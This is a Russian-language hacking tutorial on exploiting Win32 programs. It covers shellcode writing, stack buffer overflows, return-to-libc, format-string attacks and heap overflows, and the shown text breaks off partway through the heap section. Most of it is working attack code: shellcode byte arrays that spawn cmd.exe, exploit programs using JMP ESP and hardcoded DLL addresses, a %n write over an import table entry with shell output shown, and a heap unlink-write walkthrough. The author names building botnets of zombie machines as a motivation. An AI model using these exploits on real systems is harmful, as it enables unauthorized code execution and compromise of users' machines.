___________[ Win32 exploiting. Buffer Overflow Attacks ]__________ [Copyrights (C) 2003 Crazy Einstein (aka xCrZx) [email protected] /02.11.03/] The Contents: HTML: 0x01 Intro 0x02 Основы ShellCodingа (Сoding and Disassembling) 0x03 Buffer Overflow (bases of the overflow) 0x04 Return-To-Function (continuation of the programming) 0x05 Format String (not format C) 0x06 Heap Overflow (way the most strong) 0x0b ---| 0x01 Intro |----------------------------------------------------------- HTML: Всем доброго времени суток. Win32 системы для данного исследования были выбранны не случайно. Во первых я есче не достаточно хорошо знакома с Unix подобными системами, а во вторых тем, что последнее время стало популярным создание бот систем, состоящих из так называемых zombies, а учитывая тенд- енцию того что 80% пользователей WWW являются users windows, то нахождение уязвимых мест в данной os является восстребованным. На написание этой статьи меня толкнуло несколько Papers-ов некоторых лю- дей, которым за их труды выражаю благодарности от себя лично. В оссобенно- сти "WMF-Virus by Cr4sh" от Команды рыцарей ада (на мое мнение одна из лу- чших комманд андеграунда на постсоветском пространстве). Также пара глав в "Buffer Overflow Attacks Detect, Exploit, Prevent" автор James C. Foster c соавторами. "Another way to subvert the Windows kernel" из Phrack (Current issue : #65). и "fini infect" из Defaced (Current issue : #11). В бой... Из инструментов нам понадобится Dev C++ или MSVC++ 6.0(советую) для рабо ты с С++, также OllyDbg, или можно воспользоваться стандартным отладчиком MSVC++ 6.0, также WinHex(хотя можно обойтись и без него). Прошу прощение за оформление в тегах [*php], просто asm код читабельней. ---| 0x02 Основы ShellCodingа (Сoding and Disassembling) |----------------- HTML: В отличии от libc в *nix e, в среде Win32 используются адреса функций, содержащихся в модулях (библиотеках *.dll), которые и используются при со- здании шеллкода. Для основы напишем простенькую программку на C++ 6.0, ко- торая будет запускать cmd.exe. PHP: .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> int main() { system("cmd"); exit(0); } .....:-[end of source code]-:.......... Компилируем и видим шелл.Теперь выясним, как выглядят байткод на этапе выполнения программы. Воспользуемся стандартным отладчиком MSVC++ 6.0. .....:-[disassembled]-:................ ' 4: int main() { 00401010 55 push ebp 00401011 8B EC mov ebp,esp 00401013 83 EC 40 sub esp,40h 00401016 53 push ebx 00401017 56 push esi 00401018 57 push edi 00401019 8D 7D C0 lea edi,[ebp-40h] 0040101C B9 10 00 00 00 mov ecx,10h 00401021 B8 CC CC CC CC mov eax,0CCCCCCCCh 00401026 F3 AB rep stos dword ptr [edi] 5: 6: system("cmd"); 00401028 68 1C 20 42 00 push offset string "cmd"(0042201c) 0040102D E8 FE 01 00 00 call system (00401230) 00401032 83 C4 04 add esp,4 7: exit(0); 00401035 6A 00 push 0 00401037 E8 64 00 00 00 call exit (004010a0) 8: } ' .....:-[end of disassembled]-:......... HTML: Нам важны только 6 и 7 строки. Это и есть готовый шелл код, который мож- но использовать. Но в нём присутствуют 0х00 байты, которые будут мешаться при использовании функций strcpy(),sprintf()и т.д Эти функции определяют конец строки по 0х00 байту. Также перед вызовом system() в стек заносится адрес аргумента функции (*)Вывод мы должны зарание знать адрес аргумента. Для этого помещаем аргумент в стек и записать его адрес. Необходимо напи- сать данный код на ассемблере, используя всё тот же MSVC++ (узнать адреса функций можно добавив строчку printf("system=%p, exit=%p\n",system,exit); и посмотреть результат): PHP: .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> void main() { printf("system=%p, exit=%p\n",system,exit); __asm { xor ebx,ebx push ebx push 0x646d6320 push esp or ebx,0x401110aa shr ebx,8 call ebx xor ecx,ecx push ecx or ecx,0x401260aa shr ecx,8 call ecx } } .....:-[end of source code]-:.......... В дизассемблированном варианте это будет смотреться таким образом: .....:-[disassembled]-:................ ' 10: xor ebx,ebx 0040103F 33 DB xor ebx,ebx 11: push ebx 00401041 53 push ebx 12: push 0x646d6320 00401042 68 20 63 6D 64 push 646D6320h 13: push esp 00401047 54 push esp // 0x401110 - address of system 15: or ebx,0x401110aa 00401048 81 CB AA 10 11 40 or ebx,401110AAh 16: shr ebx,8 0040104E C1 EB 08 shr ebx,8 17: call ebx 00401051 FF D3 call ebx 19: xor ecx,ecx 00401053 33 C9 xor ecx,ecx 20: push ecx 00401055 51 push ecx // 0x401260 - address of exit 22: or ecx,0x401260aa 00401056 81 C9 AA 60 12 40 or ecx,401260AAh 23: shr ecx,8 0040105C C1 E9 08 shr ecx,8 24: call ecx 0040105F FF D1 call ecx ' .....:-[end of disassembled]-:......... HTML: Мы избавились от 0х00 и сделали так, что аргумент записывается в стек и после этого адрес этого аргумента помещается в стеке. Если запустить эту программку, то запустится cmd.exe , после выхода из которого выполнится exit(0); Единственный недостаток данного шеллкода состоит в том, что его нельзя использовать, не зная адресов system и exit. То есть если добавить в эту программу функцию, к примеру Sleep(1);, откомпилировать и запустить, то адреса system() & exit() будут уже другие и шеллкод не исполнится. Что же делать в этом случае? Нам необходимо непосредственно найти модуль в котором содержатся нужные нам функции. Таким модулем является msvcrt.dll (чтоб в этом убедиться достаточно взглянуть на msvcrt.dll в том же FAR'e и найти там строки system и exit)! Каждому модулю присваивается своё адрес- ное пространство (в разных версиях модулей и Windows). Программа, которая находится выше... не зависит от версии модуля, и от самой ОС Windows, т.к. не использует адреса функций из модулей. Если зап- устить её на XP & Win2k, то шеллкод всегда исполнится нормально. В отличии от случая, когда берутся адреса непосредственно из модулей. Следовательно необходимо загрузить модуль и достать из него адреса. Что хорошо демонстрирует данная программа: PHP: .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> typedef void (*MYPROC)(LPTSTR); int main(){ HINSTANCE LibHandle; MYPROC ProcAdd; LibHandle = LoadLibrary("msvcrt.dll"); ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); (ProcAdd) ("cmd"); return 0; } .....:-[end of source code]-:.......... Данная программа загружает модуль msvcrt.dll, получает адрес функции sy stem и запускает эту функцию с аргументом "cmd". Используя отладчик можно определить какой адрес присваевается переменной ProcAdd: .....:-[disassembled]-:................ ' 12: ProcAdd = (MYPROC) GetProcAddress(LibHandle, "system"); 0040103F 8B F4 mov esi,esp 00401041 68 20 F0 41 00 push offset string "system" (0041f020) 00401046 8B 45 FC mov eax,dword ptr [ebp-4] 00401049 50 push eax 0040104A FF 15 38 41 42 00 call dword ptr[_imp_GetProcAddress@8 (00424138)] ' ^ _______|______________________________________________ | после выполнения данного вызова в регистр EAX | | запишется адрес функции system() => EAX = 77C18044 | .....:-[end of disassembled]-:......... А можно и аналогичным способом найти этот адрес, загрузив kernel32.dll и взять адрес LoadLibraryA. .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> int main(){ __asm { xor edx,edx push edx push 0x20206c6c push 0x642e7472 push 0x6376736d push esp mov ecx,0x77e805d8 call ecx push edx push 0x646d6320 push esp mov ecx,0x77C18044 call ecx push edx mov ecx,0x77C27ADC call ecx } } .....:-[end of source code]-:.................... HTML: Адреса этих функций зависят от версий модулей kernel32.dll & msvcrt.dll Нам надо чтобы программа сама находила адреса exit & system, но при этом нам всё ещё необходимо знать адреса LoadLibraryA и GetProcAddress. Эту ру- тинную работу сделали Chinese Translators Team (неточно) Рассмотрим программу, которая загружает модуль, находит адрес и вызыва- ет функцию с параметром. И переписываем её на ассемблере! Конечный результат: /* \ Half Automated shellcode for Win32 with using msvcrt.dll [79bytes] / tested on WinXP ver. 5.1.2600 \ by optimizate code: xCrZx /Black Sand Project/ / msvcrt.dll information: \ FileVersion: 7.0:2600.0 / ProdVersion: 6.1:8638.0 \ shellcode does: / GetProcAddress(LoadLibrary("msvcrt.dll"),"system");system("cmd"); \ GetProcAddress(LoadLibrary("msvcrt.dll"),"exit");exit(0); / Note: \ you should know address of LoadLibraryA & GetProcAddress of kernel32.dll */ PHP: .....:-[source code с or с++]-:.................. #include <windows.h> #include <winbase.h> #include <stdio.h> char shellcode[] = "\x33\xf6" "\x56" "\x68\x6c\x6c\x20\x20" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\x56" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54""\x50""\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\x56" "\x68\x20\x63\x6d\x64" "\x54""\xff\xd0""\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"; int main(){ int (*p)(); p=(int (*)())&shellcode; (*p)(); /* __asm { xor esi,esi push esi push 0x20206c6c push 0x642e7472 push 0x6376736d push esp mov ecx,0x77e805d8 call ecx push esi mov ecx,0x6d65aaaa shr ecx,16 push ecx push 0x74737973 push esp push eax mov edi,eax mov ecx,0x77e7a5fd call ecx push esi push 0x646d6320 push esp call eax push esi push 0x74697865 push esp push edi mov ecx,0x77e7a5fd call ecx push esi call eax } */ return 0; } .....:-[end of source code]-:.......... Таким же образом можно создать любой другой шеллкод! ---| 0x03 BBuffer Overflow (bases of the overflow) |------------------------ HTML: Переполнение буфера в Win32 схоже с переполнением буфера в *nix. Происходит затерание EIP (адреса возврата функции). Предлагаю сразу рассмотреть просте- нький пример: PHP: .....:-[source code с or с++]-:........ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> int fuck(char *str) { char yo[100]; strcpy(yo,str); return 0; } int main(int argc, char **argv) { char promo[500]; if(strlen(argv[1])>500) exit(0); sprintf(promo,"%s",argv[1]); fuck(promo); return 0; } .....:-[end of source code]-:........... HTML: Подав программе строку, длина которой находится в промежутке >100 и <500 символов, произойдет перезапись EIP и прыжок при выходе из функции на этот адрес, что приведёт к критический ошибке и появится окошко об уведомлении (в моём XP появляется окошко с кнопками "Отладка","Отправить отсчет","Не отправ- лять" :). Щёлкнув на "Отладку" можно лицезреть, что собственно произошло! PHP: ... 41414141 ??? ... EIP = 41414141 ESP = 0012FF30 EBP = 41414141 EFL = 00000246 CS = 001B HTML: программа попыталась прочесть следующую инструкцию по адресу 0x41414141. Теперь стоит упомянуть, что запускаемые программы в Windows основываются на адресных пространствах, имеющих вид 0x00XXXXXX. Т.е. в адресе присутствует 0х00 и это может затруднить положение, если, к примеру мы хотим поместить наш шеллкод после EIP (например , из-за того, что после выхода из функции fuck() данные char yo[100] уничтожатся, но к счастью наши данные будут лежать и в char promo[500] тоже ). Так же трудности могут возникнуть, если функция в уязвимой программе, че- рез которую осуществляется переполнение есть (либо подобна) memcpy(), которая после копирования данных не завершает этот процесс записью в конец 0х00 бай- та. В этом случае EIP будет выглядеть так - 0xXXZZZZZZ, где ZZ - байты, на которые мы перезаписали EIP, а XX - байт , который был на этом месте от ста- рого значения EIP. В случае, когда в уязвимой программе переполнение осуще- ствляется с помощью функций strcpy(),strcat(),sprintf(),etc. Тогда этот байт (ХХ) затирается на 0х00, чтобы обозначить конец строки. Давайте попробуем перезаписать EIP на нужный нам адрес, который будет ука- зывать на promo, т.к. в нём будет храниться шеллкод. Для этого необходимо знать как будет выглядеть стек после вызова fuck(): PHP: [ char yo[100] ][EBP][EIP] HTML: Пришлось модифицировать шеллкод, чтоб избавиться от 0х20, т.к. при передачи аргумента через system() уязвимая программа vuln1.exe будет воспри- нимать всё, что дальше 0х20 как argv[2] и т.д.): PHP: .....:-[source code с or с++]-:........ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> char shellcode[] = "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"; int main(int argc, char **argv) { char buf[100+4*2+1]; char cmd[600]; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,104-strlen(shellcode)); memcpy(buf+strlen(buf),&shellcode,strlen(shellcode)); *(long *)&buf[strlen(buf)]=0x0012fd90; sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf); system(cmd); return 0; } .....:-[end of source code]-:........... HTML: Теперь возьмём тот же самый пример, и допустим, что у нас нет char promo[500]; В этом случае шеллкод придётся сохранять за [EIP]: PHP: .....:-[source code с or с++]-:........ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> int fuck(char *str) { char yo[100]; strcpy(yo,str); return 0; } int main(int argc, char **argv) { fuck(argv[1]); return 0; } .....:-[end of source code]-:........... HTML: для этого нам уже нельзя использовать в качестве адреса возврата адрес, со- держащий 0х00 байт. Что делать в этом случае? Если быть внимательным, то мо- жно уловить нужную информацию из регистров: PHP: (при переполнении) [HTML] EAX = 00000000 EBX = 7FFDF000 ECX = 00430EBC EDX = FDFD0044 ESI = 00000000 EDI = 0012FF80 EIP = 41414141 ESP = 0012FF30 EBP = 41414141 EFL = 00000246 CS = 001B Регистры EDI & ESP - содержат адреса, которые потенциально могут указывать на наш шеллкод (в частности, ESP - указатель на вершину стека и это то, что нам нужно): PHP: 0012FF30 41 41 ... 54 B9 AAAAAAAAAAAA3ц.ЄЄllБй.Qhrt.dhmsvcT. 0012FF53 D8 05 ... 63 6D Ш.иwяС.ЄЄemБй.QhsystTP<ш.э_зwяС.Єcm 0012FF76 64 C1 ... 00 00 dБй.QTяРVhexitTW.э_зwяСVяР_э.D.0... А вот и наш буфер, содержащий 0x41(вместо 0х90)+шеллкод :) HTML: Теперь нужно найти инструкцию JMP ESP, которая осуществляет переход по адре- су, заданному в ESP! Такие инструкции содержатся в разных модулях. Модуль, который всегда мелькает перед глазами - kernel32.dll (в нём и следует начать искать данную инструкцию). 57: jmp esp 0040102E FF E4 jmp esp вот эти байты нам нужно отыскать по адресу: 0x77F5800D+15. PHP: .....:-[exploit code с or с++]-:........ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> char shellcode[] = "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"; int main(int argc, char **argv) { char buf[200+4*2+1]; char cmd[600]; memset(buf,0x00,sizeof(buf)); memset(buf,0x90,204-strlen(shellcode)); memcpy(buf+strlen(buf),&shellcode,strlen(shellcode)); *(long *)&buf[104]=(0x77F5800D+15); sprintf(cmd,"C:\\MSVCSTAFF\\Debug\\vuln1.exe %s",buf); system(cmd); return 0; } .....:-[end of source code]-:............. Это, на мой взгляд, исчерпывающая информация о переполнении буфера! ---| 0x04 Return-To-Function() (continuation of the programming) |---------- HTML: Эта технология эксплоитинга широко распространена в операционных системах, где существует так называемая защита от всякого рода buffer overflow, etc , т.е. от выполнения шеллкода в стеке (non-exec stack). Мы не можем использо- вать шеллкод на этот раз, но мы можем переписать EIP на адрес какой-либо фу- нкции (обычно это system(), по понятным причинам :). Как же это работает? При вызове функции берётся адрес аргумента(ов) из стека (как это было видно ранее при дизассемблировании. Т.е. нам достаточно добавить адреса, указываю- щие на наши аргументы и дело в шляпе. Для system() - это адрес, где располо- жена строка "cmd". Ед. проблема состоит в том, что опять же используемое адресное пространство - 0х00XXXXXX ! для этого надо использовать адрес функ- ции system из модуля... Общий вид заполнения таков: [OVERWRITED EIP (SYSTEM())][ADDR OF NEXT FUNC][ADDR OF ARG FOR SYSTEM()][ARG FOR NEXT FUNC] HTML: При этом адрес аргумента может содержаться в области 0х00XXXXXX (в нашем случае, адрес "cmd"). Если мы хотим после system() вызвать exit(), то заполнение будет следующее: [OVERWRITED EIP (SYSTEM())][ADDR OF EXIT()][ADDR OF ARG FOR SYSTEM()][ARG OF EXIT()] Сначала вызывается System(), после Exit(). PHP: .....:-[exploit code с or с++]-:......... #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> int main() { char aaa[20]="cmd\x00\x00\x00\x00\x00\x00"; long *p; p=(long *)&system; long *b; b=(long *)&exit; __asm { mov dword ptr [ebp+4],0x00401280 mov dword ptr [ebp+8],0x004010f0 mov dword ptr [ebp+12],0x0012ff6c mov dword ptr [ebp+16],0x00000000 } return 0;} Теперь допустим у нас есть уязвимая программа: (ед. ньанс - уязвимая программа должна использовать модуль(библиотеку)) Адреса функций system & exit в модуле msvcrt.dll мы знаем! Осталось найти "cmd" где-нибудь в модуле например в msvcrt.dll есть "cmd" по адресу 0x77C01335! #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> int main() { long sys_addr=0x77C18044; long exit_addr=0x77C27ADC; long cmd_addr=0x77C01335; char cmd[100]="C:\\MSVCSTAFF\\Debug\\vuln2.exe AAAAAAAAAABBBBCC"; *(long *)&cmd[strlen(cmd)]=sys_addr; *(long *)&cmd[strlen(cmd)]=exit_addr; *(long *)&cmd[strlen(cmd)]=cmd_addr; system(cmd); return 0;} HTML: Для каждой версии msvcrt.dll (Windows) своё адресное пространство, т.ч. нужно не забывать этот факт!
продолжение ---| 0x05 Format String (not format C) |----------------------------------- HTML: Большенство из вас (и даже некоторых опытных специалистов в области компьютер- ной безопасности, с которыми мне пришлось общаться) не подозревали, что уязви- мость класса формат строки (format string) может быть использована в целях по- лучения шелла (это было связано с тем, что никто из них толком не изучал эту тему). Процесс протекает аналогично тому, который используется в *nix'e. В windows есть аналог GOT'y - Import Address Table (IAT)...где в виде таблицы хранятся адреса функций, а ниже соответствующие этим адресам наименования функ- ций. Многие наверное знают каким свойством обладает %n (записывает по адресу аргумента кол-во символов до данного оператора). Об этом очень хорошо было опи- сано в своё время в статьях ya_man'a. Рассмотрим уязвимую программу: PHP: .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> int main(int argc, char **argv) { char abc[200]; int yo; yo=atoi(argv[1]); strncpy(abc,argv[2],199); printf(abc); ExitProcess(0); } .....:-[end of source code]-:.......... C:\MSVCSTAFF\Debug>vuln3.exe 666 AAAA%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x .%x.%x.%x.%x.%x.%x AAAA143018.0.7ffdf000.cccccccc.cccccccc.cccccccc.cccccccc .cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.cccccccc.ccccc ccc.cccccccc.cccccccc.cccccccc.29a C:\MSVCSTAFF\Debug> HTML: Мы нашли начальную позицию внесения данных в char abc[100]; (0x29a - 666) Теперь остаётся занести на эту позицию нужный адрес, который мы хотим перезапи- сать и послать нужно сформированную строку! т.е. вместо 666 нужно вписать ад- рес в десятичном виде и последний %x, который указывает на эту позицию (точнее, вынимает из стека в качестве аргумента) заменить на %n (ну и сделать так, чтоб кол-во символов до %n было равно адресу на шеллкод в десятичном виде)! Вот по- жалуй и всё :)! Остаётся выяснить адрес, который нужно перезаписать, если пос- мотреть на память повнимательней, то можно найти адреса функций (а именно, нас интересует адрес функции ExitProcess()): PHP: .....:-[disassembled]-:................ ' 00425119 00 00 ... E7 77 ...............................ч\зw 0042513C 38 C9 ... 05 E8 8Йзw+Дзw_6лw=_зw__зwЕxзw4_йwэ_зwШ.и 0042515F 77 EF ... 02 77 wпwзw. зw_.жw__зw"_лw+ЕйwбЙзw$.зw.w 00425182 E6 77 ... 77 3E жwб~зw1Йзw."зwz.жw.nзw&Ззw-.хw4_зw> 004251A5 18 F6 ... E7 77 .цw-1зw_3зw$Йжw}.хwhiзwО|зwлAжwfИзw 004251C8 9F 84 ... 74 E7 _"зw?Ўзw.Зжwш.хw..зw/rхwщ?зw__зw.tз 004251EB 77 F9 ... 00 00 wщ_зw.язwcyзw...................... 0042520E 00 00 ... 00 00 ................................... 00425231 00 00 ... 65 73 .......................}.ExitProces 00425254 73 00 ... 00 74 s.KERNEL32.dll..К.GetCommandLineA.t 00425277 01 47 ... 74 64 .GetVersion..Q.DebugBreak..R.GetStd 0042529A 48 61 ... 44 65 Handle..Я.WriteFile.-.InterlockedDe 004252BD 63 72 ... 47 65 crement..х.OutputDebugStringA..>.Ge 004252E0 74 50 ... 6E 74 tProcAddress..В.LoadLibraryA..°.Int 00425303 65 72 ... 65 4E erlockedIncrement..$.GetModuleFileN 00425326 61 6D ... 72 72 ameA.._.TerminateProcess..ч.GetCurr 00425349 65 6E ... 6C 74 entProcess.-.UnhandledExceptionFilt ' .....:-[end of disassembled]-:......... HTML: начальный(верхний) кусок отвечает адресам соответствующих функций, которые пре- дставлены в нижней части блока. Т.е. по адресу 0x00425138 и находится наш Exit Process(). Всё что нужно теперь уже известно! PHP: .....:-[source code с or с++]-:........ #include <stdio.h> #include <stdlib.h> #include <windows.h> #include <winbase.h> char shellcode[] = "\x33\xf6" "\xB9\xAA\xAA\x6C\x6C" "\xC1\xE9\x10" "\x51" "\x68\x72\x74\x2E\x64" "\x68\x6D\x73\x76\x63" "\x54" "\xB9\xD8\x05\xE8\x77" "\xff\xd1" "\xb9\xaa\xaa\x65\x6d" "\xc1\xe9\x10" "\x51" "\x68\x73\x79\x73\x74" "\x54" "\x50" "\x8B\xF8" "\xB9\xFD\xA5\xE7\x77" "\xff\xd1" "\xb9\xaa\x63\x6d\x64" "\xC1\xE9\x08" "\x51" "\x54" "\xff\xd0" "\x56" "\x68\x65\x78\x69\x74" "\x54" "\x57" "\xb9\xfd\xa5\xe7\x77" "\xff\xd1" "\x56" "\xff\xd0"; int main() { long ret=0x425138;//addr of ExitProcess() char cmd[200]; long xret=0x0012feb8 - 0xee;//addr of shellcode memset(cmd,0x00,sizeof(cmd)); strcpy(cmd,"C:\\MSVCSTAFF\\Debug\\vuln3.exe "); sprintf(cmd+strlen(cmd),"%d %s%%x.((%%x.)*17).%%%dx.%%n",ret,shellcode,xret); system(cmd); return 0; } .....:-[end of source code]-:.......... Работоспособность: C:\MSVCSTAFF\Debug>fmt-str-exp.exe ..... cccccccc.Microsoft Windows XP [Верс ия 5.1.2600] (С) Корпорация Майкрософт, 1985-2001. C:\MSVCSTAFF\Debug>exit C:\MSVCSTAFF\Debug> HTML: Как видно, всё работает! Но одно но, перезаписываемый адрес содержит 0х00 байт! т.е. если бы не было int yo; то перезаписать этот адрес нам бы не удалось, т.к. мы не можем использовать %<NUMBER>$n технологию: C:\MSVCSTAFF\Debug>vuln3 11 %1$x $x C:\MSVCSTAFF\Debug>vuln3 11 %1\$x \$x C:\MSVCSTAFF\Debug>vuln3 11 %%1$x %1$x C:\MSVCSTAFF\Debug>vuln3 11 %%1\$x %1\$x А если записать адрес ExitProcess() в конце нашего запроса и последовательно извлекать из стека данные, то мы не сможем добраться до нашего адреса, т.к. мы будем добавлять всё новые и новые символы в буфер (дистанция до адреса будет сохраняться), а перезаписать адреса тех или иных функций каких-либо мод- улей не удастся. Поэтому необходимо думать куда бы записать адрес, который надо перезаписать. ---| 0x06 Heap Overflow (way the most strong) |---------------------------- HTML: И вот, пожалуй, самая интересная часть :), которая заставляет созидать. Думаю, следует начать изучать данный тип уязвимости сразу с примера. PHP: .....:-[source code с or с++]-:........ #include <windows.h> #include <stdio.h> int main() { char *a; char *b; a=(char *)malloc(100); b=(char *)malloc(30); char arg[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"; memcpy(b,&arg,sizeof(arg)); free(a); ExitProcess(0); } .....:-[end of source code]-:.......... HTML: Следим за ходом выполнения программы в отладчике! Как видно из примера, сперва выделяется 100 байт в heap'e и указателю а присваевается адрес этого места (с которого можно заносить данные), после чего выделяется 30 байт для b.в этом случае а указывает на 0х00430150, а b - на 0х00430100 если глянуть на эти адре- са, то можно увидеть следующую картину: PHP: .....:-[disassembled]-:................ ' 00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ. .... 00430150 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН 00430173 CD CD ... CD CD ННННННННННННННННННННННННННННННННННН 00430196 CD CD ... FD 91 ННННННННННННННННННННННННННННННээээ' причём, если рассматривать после выделения всю структуру целиком, то для b, к примеру, она принимает вид такой: 004300BA 00 00 ... 00 51 ..............................Р...Q 004300DD 00 00 ... FD FD ...0.C.....................(...ээээ 00430100 CD CD ... FD 00 ННННННННННННННННННННННННННННННээээ. 00430123 00 00 ... 01 00 .....Q...'....I2.а.C.........d..... ' .....:-[end of disassembled]-:......... HTML: при этом используемая юзером часть - с 0х00430100 по 0х0043011e (30 байт т.е.). далее по программе идёт запись в b, если запустить программу, то можно увидеть окошко об ошибке, которое сообщает, что освобождаемый блок (а) испорчен (т.е. испорчен нами, т.к. мы перезаписали его часть). Предлагаю заглянуть внутрь функции free() и всё выяснить: PHP: _CRTIMP void __cdecl free(void * pUserData) { _free_dbg(pUserData, _NORMAL_BLOCK); } идёт вызов free в отладочном режиме _CRTIMP void __cdecl _free_dbg( #endif /* _MT */ void * pUserData, int nBlockUse) { _CrtMemBlockHeader * pHead; ... pUserData - это и есть тот блок , который мы пытаемся освободить (т.е. a) pHead - структура заголовка блока, которая выглядит следующим образом: typedef struct _CrtMemBlockHeader { struct _CrtMemBlockHeader * pBlockHeaderNext; struct _CrtMemBlockHeader * pBlockHeaderPrev; char *szFileName; int nLine; size_t nDataSize; int nBlockUse; long lRequest; unsigned char gap[nNoMansLandSize]; /* followed by: * unsigned char data[nDataSize]; * unsigned char anotherGap[nNoMansLandSize]; */ } _CrtMemBlockHeader; далее идут проверки блока, который был передан: /* verify heap before freeing */ if (_crtDbgFlag & _CRTDBG_CHECK_ALWAYS_DF) _ASSERTE(_CrtCheckMemory()); if (pUserData == NULL) return; HTML: разумется, что, если был передан нулевой адрес блока, то на этом этапе выполне- ние функции free() завершится. _ASSERTE(_CrtIsValidHeapPointer(pUserData)); тут идёт проверка самого адреса блока, если мы передали неправильный адрес (для примера 0х41414141), то на этом этапе программа выдаст нам ошибку! /* get a pointer to memory block header */ pHead = pHdr(pUserData); указателю pHead (который указывает на структуру _CrtMemBlockHeader) присваев- ается адрес структуры заголовка блока, который расположен на 0x20 байт левее адреса блока (т.е. если а = 0х00430150, то pHead = 0х00430130) Если глянуть на адрес 0х00430130, то мы увидим, что мы его затёрли (и не толь- ко его), когда копировали информацию в b (т.к. блок b был расположен выше(лев- ее) блока a): 00430130 41 41 41 ... CD CD AAAAAAAAAAAAAAAAAAAAAAAAAAAAA.ээННН ясное дело, что это и будет причина ошибки, и вот, как и следовало ожидать, сразу после присваивания указателю pHead адреса на структуры заголовка идёт проверка блока, т.е. проверка того адреса, который был присвоен указателю: /* verify block type */ _ASSERTE(_BLOCK_TYPE_IS_VALID(pHead->nBlockUse)); если сделать шаг дальше, то на этом месте выскочит ошибка! Но причина не в том, что мы затёрли адрес на структуру...причина в том, что мы затерли те байты, которые используются при данной проверке: PHP: .....:-[disassembled]-:................ ' 004300EA 00 00 ... CD CD CD ..............(...ээээННННННННННННН 0043010D CD CD ... 00 00 НННННННННННННННННээээ......Q...'... 00430130 88 49 ... CD CD .I2.а.C.........d.......'...ээээННН ' .....:-[end of disassembled]-:......... вот эти байты "00 00 00 01 00 00 00 28 00 00 00". HTML: если же их не затерать, то выполнение функции free() продолжится далее! А имен- но проверки и работа со структурой, на которую указывает pHead! Это и есть пре- дмет для тщательного изучения, т.к. адрес на структуру заголовка блока мы конт- ролируем. И разумеется самые интересные строки далее для меня были: ..... pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev; ..... pHead->pBlockHeaderPrev->pBlockHeaderNext = pHead->pBlockHeaderNext; ..... предлагаю изучить их повнимательней: PHP: 1062: pHead->pBlockHeaderNext->pBlockHeaderPrev = pHead->pBlockHeaderPrev; 00401E1C 8B 45 FC mov eax,dword ptr [pHead] 00401E1F 8B 08 mov ecx,dword ptr [eax] 00401E21 8B 55 FC mov edx,dword ptr [pHead] 00401E24 8B 42 04 mov eax,dword ptr [edx+4] 00401E27 89 41 04 mov dword ptr [ecx+4],eax HTML: последняя инструкция вызывает опасения, т.к. ,контролируя ecx и eax, можно пе- резаписать какой-нибудь адрес, хранящийся в [ecx+4] на значение(адрес), которое хранится в eax. И что же вы думаете? Это действительно так! Мы контролируем eax и ecx! :)) Т.е. адрес, на который указывает pHead - мы можем перезаписать.. 00401E1C 8B 45 FC mov eax,dword ptr [pHead] ---------------------[запишет в eax адрес pHead (0х00430130, если помните) ] 00401E1F 8B 08 mov ecx,dword ptr [eax] ---------------------[в ecx запишется то, что находится по адресу] ---------------------[0x00430130, КОТОРЫЙ МЫ КОНТРОЛИРУЕМ] 00401E21 8B 55 FC mov edx,dword ptr [pHead] ---------------------[в edx запишется 0x00430130] 00401E24 8B 42 04 mov eax,dword ptr [edx+4] ---------------------[а в eax запишется то, что находится по адресу] ---------------------[0х00430134 , КОТОРЫЙ МЫ ТОЖЕ КОНТРОЛИРУЕМ] 00401E27 89 41 04 mov dword ptr [ecx+4],eax ---------------------[и в итоге запишем по адресу, который хранится] ---------------------[в ecx + смещение 4байта... адрес, который записан] ---------------------[в eax] Вот где собака зарыта! :) Теперь достаточно вместо адреса 